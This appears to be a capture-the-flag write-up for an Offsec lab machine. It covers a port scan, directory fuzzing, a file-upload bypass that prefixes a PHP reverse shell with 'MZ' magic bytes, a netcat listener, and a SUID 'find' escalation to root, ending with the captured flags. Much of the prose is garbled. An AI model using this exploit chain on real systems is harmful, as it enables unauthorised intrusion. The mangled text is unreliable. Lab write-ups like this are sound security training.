

tags: Offsec PG Practice Intermediate Linux # MZEEAV

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.223.33 -u 5000 -t 8000 --scripts -- -n -Pn -sVC
```

Open 192.168.223.33:22

Open 192.168.223.33:80

```
PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp  open  http     syn-ack Apache httpd 2.4.56 ((Debian))
|_ http-methods:
|_   Supported Methods: GET POST OPTIONS HEAD
|_ http-title: MZEE-AV - Check your files
|_ http-server-header: Apache/2.4.56 (Debian)
|_ ffuf
```

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.223.33/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/common.txt -e php
```

backups [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 243ms]

index.html [Status: 200, Size: 1482, Words: 350, Lines: 52, Duration: 249ms]

server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 242ms]

upload [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 241ms]

``` Go to http://192.168.223.33/backups/``backup.zip,/var/www/htmlpathCheckupload.php

```
...
if (strpos($magicbytes, '4D5A') === false) {
 echo "Error no valid PEFILe\n";
 error_log(print_r("No valid PEFILe", TRUE));
 error_log(print_r("MagicBytes:" . $magicbytes, TRUE));
 exit ();
}
...
``` finduploadCheck`magic number`4D 5A`,openburpsuite,`http://192.168.223.33/upload.php`,hex`4D 5a`,`Go
to `http://192.168.223.33/upload/shell.php`
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvp9001
```

```
(kali㉿kali)-[~/pgplay]
└─$ burpsuite
```

POST /upload.php HTTP/1.1

Host: 192.168.223.33

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: /

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://192.168.223.33/

Content-Type: multipart/form-data; boundary=-----366048428235879610921210540209

Content-Length: 5723

Origin: http://192.168.223.33

Connection: close

-----366048428235879610921210540209

Content-Disposition: form-data; name="file"; filename="shell.php"

Content-Type: application/x-php

MZ<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

...

``` get /home/avuserpathcanget local.txt

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

www-data@mzeeav:/home/avuser$ cat local.txt
b59698cbef38415cdf1e8b06d58d7490
``` binaries
```

```
www-data@mzeeav:/opt$ find / -perm -u=s -type f 2>/dev/null
/opt/fileS
```

```
...
```;--h,,\(http://www.gnu.org/software/findutils/\),find
```

```
...
Please see also the documentation at http://www.gnu.org/software/findutils/.
You can report (and track progress on fixing) bugs in the "./fileS"
program via the GNU findutils bug-reporting page at
https://savannah.gnu.org/bugs/?group=findutils or, if
you have no web access, by sending email to <bug-findutils@gnu.org>.
``` Run[GTFOBins] (https://gtfobins.github.io/gtfobins/find/#suid)
useobtainroot,/rootobtainproof.txt
```

```
www-data@mzeeav:/opt$ /opt/fileS . -exec /bin/sh -p ; -quit
```

whoami

```
root
```

cd /root

ls

```
ls
email2.txt proof.txt
```

cat proof.txt

```
d6678945b86a86a8fbbff4f31437263c
```
